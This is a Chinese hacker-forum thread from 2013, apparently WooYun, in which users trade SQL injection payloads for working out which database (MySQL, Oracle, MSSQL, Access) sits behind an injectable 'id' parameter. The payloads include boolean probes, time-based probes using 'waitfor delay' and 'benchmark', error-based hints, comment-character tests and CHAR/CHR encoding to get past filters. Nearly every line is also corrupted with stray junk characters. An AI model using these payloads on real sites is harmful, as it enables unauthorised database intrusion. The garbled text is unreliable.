一个注射点如何最快速确认是什么类型数据库( t+ O K$ S. U( `. V
xsser (十根阳具有长短!!) | 2013-02-05 12:36
& j5 D8 |% _: g% ^3 M/ N假设这么一个注射点:
/ b0 W0 E: q7 J! R% t M1 q) kshow.html?id=2
) R9 ^9 Z. O8 omysql:id=2 and version()>0
/ T( R+ j$ k6 g3 |& R0 yoracle:id=2 and '1'||'1'='11
5 O o, D- t: H1 M其他的欢迎补充* W% U# z+ F" L# `% T
1#. J# O# c" N4 J% T7 P
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47- y1 h% ?0 w8 a% l% X( T
Access:! N4 H! R0 R' w W& f u- t9 V
aNd aSc(cHr(97))=97
! B( m" \8 P3 I2 jand exists(select id from MSysAccessObjects)
/ c! y2 t3 J# ZSQL Server:- {' j/ }7 c! ~9 c/ a
and exists(select id from sysobjects)9 j. N1 H8 x0 i# ]& Z2 o
and length(user)>0* \" l) I% Z2 O* T* s* p. F/ t
MySQL:, R# L/ i/ g7 a8 N
and length(user())>0 E6 h1 c2 Y- K4 v) K
2#
9 l, C, b! h& F* @0 U m% D" @, Vxsser (十根阳具有长短!!) | 2013-02-05 12:48* v1 e" K4 Y! ^/ Q: Z
@upload 如果这些都不是呢…
K7 e+ }# W" J) Y! i/ v2 c; @3# j, Q6 h7 h& D; ^# a
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
' ~5 @* S. |6 S% X6 i# H@xsser 不快速的,延时注入' q X; x+ _, g3 @
不知道这样写对不对+ u. w3 ^& W- q( p
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
) a) y) X; M; fmysql:id=2 and select benchmark(1e8,current_date());
1 n, `+ `# X: \$ K4#. j1 `2 q8 C9 O+ M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:104 I u2 a+ g/ p2 F& V3 G
最快的貌似是看报错信息
2 v/ u' b+ Q3 R, ^: ^4 Uoracle error m4 I& f s* @+ m
mssql error
# D! K2 Z x6 f2 L! L; G: |mysql error
: @+ l$ D' X- v @1 F3 V! y; N5#1 ^; E1 W+ ~1 N3 m7 c
Nimda (你们都是坏银~) | 2013-02-05 13:14
0 g3 {1 A: @$ z- K* e小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
2 g9 i; i g. ]' G) O: Y. G6#! H2 i \! ?) ?6 j' _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
; \ o; D! P% l$ G“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
# U% O' C p0 L9 q% P% D8 ~“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:6 R+ q. o- G) X
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
& B9 o8 M0 s6 n6 @7#5 C) b! r K4 C4 _' W' n
_Evil (HackEnd) | 2013-02-05 13:33) e. k; j7 ~: E) ^2 V9 c$ i7 b
PostgreSQL! j! i c. Z ^3 ]) G4 A
8#" T( t+ w* K+ A8 A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42' S! K& l2 k) q' h" o3 A
切换编码 and 1=1# S% T+ F4 S H( l* G0 W
oracle:
% `! V+ Q5 o, r5 c+ r1 QCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)' D8 I7 {$ }1 P5 M
mssql:- v4 F: O* {/ ]( H( c# l4 J$ F
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
- z$ `8 f* X" P& {9 E& K, B1 gmysql:: A, N* v/ R8 M- q6 a
CHAR(97, 110, 100, 32, 49, 61, 49)3 K% Z4 ?5 R l5 k0 Z: Q
9#
, V- p% `2 ~& S- fxsser (十根阳具有长短!!) | 2013-02-05 14:31
8 I2 `8 ^! q5 {3 s@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
3 A2 ^0 f5 k' t; x10#
! F) N( E d2 ^+ m$ lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
) G; @; r: p4 l7 X3 d@xsser 是奇葩数据库类型的么?! s! x$ a8 ?5 F1 m" b
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:' Y: W' _9 ?# f+ j. N9 Q7 B) g
1.是否可以使用特定的函数来判断,该数据库特有的4 @4 c5 m3 p! J9 u* B* V v; M
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
# v+ z' o- K- o: `/ E n# N3.是否可以编码查询! t2 N% a& W5 ^0 U# K$ }
4.是否显可以利用错信息) G" N$ H+ Z* v' U
5.是否存在数据库某些特性辅助判断6 i& N4 M& f& {0 }+ P# d: n6 V
个人见解
( _ U) x( W- S, u; p4 _7 w' p11#- o2 u+ {; n( F, M$ }7 l2 K; A
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
9 v. S4 j4 }- C1 J4 S已收藏,mssql可以直接看到错误提示的吧~+ w `8 s+ r" i1 X" g" h! a9 N
12#
. Z& K3 i6 _1 p' X' Q8 DPasser_by | 2013-02-05 15:09" H3 U+ ]# Q! T2 F* L, j0 i% \# P
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
4 H& U% y B& ^from:http://zone.wooyun.org/content/260 |